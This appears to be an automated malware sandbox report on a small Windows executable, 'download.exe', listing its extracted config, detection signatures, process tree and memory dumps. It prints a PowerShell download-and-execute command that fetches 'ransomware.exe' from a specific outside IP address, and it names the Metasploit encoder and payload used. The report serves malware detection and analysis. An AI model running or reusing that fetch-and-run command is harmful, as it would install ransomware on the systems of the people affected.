Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
07/06/2024, 17:02
General
- Target download.exe
- Size 4KB
- Sample240607-vkg34acd47
- SHA256 716b65a42612f32fa410f3365eae3e348b9f046d5678e280f8e448d8c6e7b852
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://20.81.130.178:8080/ransomware.exe
Extracted
-
metasploit
-
encoder/shikata_ga_nai
Extracted
-
metasploit
-
windows/exec
Signatures
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\download.exe"C:\Users\Admin\AppData\Local\Temp\download.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "IEX(New-Object Net.webClient).downloadString('http://20.81.130.178:8080/ransomware.exe')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x454 0x3401⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_e23nwcwf.znd.ps1
memory/2324-0-0x0000000000400000-0x0000000000404000-memory.dmp
memory/2324-2-0x0000000000400000-0x0000000000404000-memory.dmp
memory/3564-11-0x0000000005D00000-0x0000000005D66000-memory.dmp
memory/3564-12-0x0000000005DE0000-0x0000000005E46000-memory.dmp
memory/3564-7-0x0000000005620000-0x0000000005C48000-memory.dmp
memory/3564-10-0x0000000073B00000-0x00000000742B0000-memory.dmp
memory/3564-9-0x0000000005560000-0x0000000005582000-memory.dmp
memory/3564-6-0x0000000002F50000-0x0000000002F86000-memory.dmp
memory/3564-5-0x0000000073B0E000-0x0000000073B0F000-memory.dmp
memory/3564-8-0x0000000073B00000-0x00000000742B0000-memory.dmp
memory/3564-22-0x0000000005F50000-0x00000000062A4000-memory.dmp
memory/3564-23-0x00000000063E0000-0x00000000063FE000-memory.dmp
memory/3564-24-0x0000000006420000-0x000000000646C000-memory.dmp
memory/3564-25-0x0000000007C40000-0x00000000082BA000-memory.dmp
memory/3564-26-0x00000000068F0000-0x000000000690A000-memory.dmp
memory/3564-29-0x0000000073B00000-0x00000000742B0000-memory.dmp